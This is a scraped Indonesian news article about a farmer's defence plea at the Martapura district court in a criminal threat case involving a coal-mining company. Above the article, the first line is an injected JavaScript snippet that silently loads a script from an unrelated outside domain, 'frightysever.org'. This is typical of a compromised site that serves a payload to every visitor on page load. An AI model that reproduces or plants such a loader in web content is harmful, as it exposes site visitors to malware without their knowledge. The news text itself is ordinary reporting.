(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Sumardi (63), petani dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar, menyampaikan sejumlah pembelaan atas tuntutan Jaksa Penuntut Umum (JPU) terkait kasus pidana pengancaman di area tambang batu bara yang tengah menimpanya.
Pembelaan itu dituangkan dalam pledoi oleh kuasa hukum dalam dalam sidang pembacaan tuntutan nota pembelaan di ruang sidang Cakra 1 Pengadilan Negeri (PN) Martapura, Senin (4/11/2024).
Noor Jannah, pengacara Sumardi menjelaskan bahwa di dalam nota pembelaaan itu pihak terdakwa memutuskan sejumlah amar yang mengatakan bahwa Sumardi murni tidak bersalah.
Baca juga: Sidang Praperadilan Sahbirin Noor Sampaikan Sembilan Petitum
“Di dalamnya dimuat pembelaan bahwa beliau melakukan perbuatan itu berdasarkan emosi karena melihat hasil kebun beliau yang siap panen malah dirusak dan diacak oleh suruhannya PT MMI,” ujar Noor Jannah saat diwawancarai, Senin (4/11/2024) siang.
Kemudian dari amar dan subsider, kata dia, pihaknya meminta agar terdakwa dibebaskan tanpa bersyarat.
“Kami juga meminta dukungan kawan-kawan sampai nanti putusan dari pengadilan menyatakan terdakwa murni tidak melakukan pengancaman terhadap Mr Huang,” tegas dia.
Baca juga: Hadapi Praperadilan Gubernur Kalsel, KPK Yakin Ditolak Hakim
Adapun perbuatan Sumardi yang disangkakan berdasarkan pasal 335 ayat 1 sangat jelas berbeda dengan keadaan di lapangan.
Dirinya menegaskan bahwa Sumardi melakukan perbuatannya dalam keadaan emosi yang tidak stabil.
“Kami menjelaskan dari unsur-unsur pidananya dengan merusuk Pasal 335 ayat 1 sangat jelas bahwa beliau dalam keaadan emosi yang tidak stabil dasar itu lah kami masukkan dalam nota pembelaan,” jelasnya.
Baca juga: Kirim Uang ke LN Lewat BRImo Bisa Dapat Hadiah Menarik Setiap Bulan, Mau?
Hal yang sama juga disampaikan Sumardi yang hadir sebagai terdakwa dengan keadaan betis kanan masih terpasang gelang kaki elektronik.
Sumardi menjelaskan bahwa di dalam kronologisnya sebanyak 4.400 tanaman singkong siap panen dan 47 batang pohon pisang miliknya itu dicampur aduk oleh perusahaan tambang.
“Sedangkan saya hanya menyampaikan untuk minta ganti rugi, namun kalau ditanyai gak tau gak tau, begitu terus jadi saya timbul emosi sampai mencengkram leher bajunya itu saja,” ucap Sumardi menambahkan.
Baca juga: Persembahan HLN-79 PLN Salurkan Bantuan “Gerobak Cahaya” untuk UMKM
“Harapannya bisa cepat dibebaskan dan tidak ada masalah lagi, sudah kenyang cari biaya sana kemari,” tandas dia.
Sumardi pun kembali bersiap melakukan sidang lanjutan dalam agenda penyampaian Replik dari JPU pada Kamis (7/11/2024) mendatang. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Tim Evaluasi Peningkatan Kualitas Keluarga (PKK) tingkat Provinsi Kalimantan Selatan (Kalsel) mendatangi… Read More
KANALKALIMANTAN.COM, JAKARTA - Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - Memperingati Hari Listrik Nasional (HLN) ke-79, PT PLN (Persero) Unit Penyaluran dan… Read More
KANALKALIMANTAN.COM - Kebutuhan masyarakat Indonesia untuk transfer ke luar negeri semakin meningkat. Hal ini karena banyaknya… Read More
KANALKALIMANTAN.COM, JAKARTA - Menyambut tingginya antusiasme para jurnalis dalam berpartisipasi pada ajang PLN Journalist Award… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin mengevaluasi beberapa hal pasca debat perdana… Read More
This website uses cookies.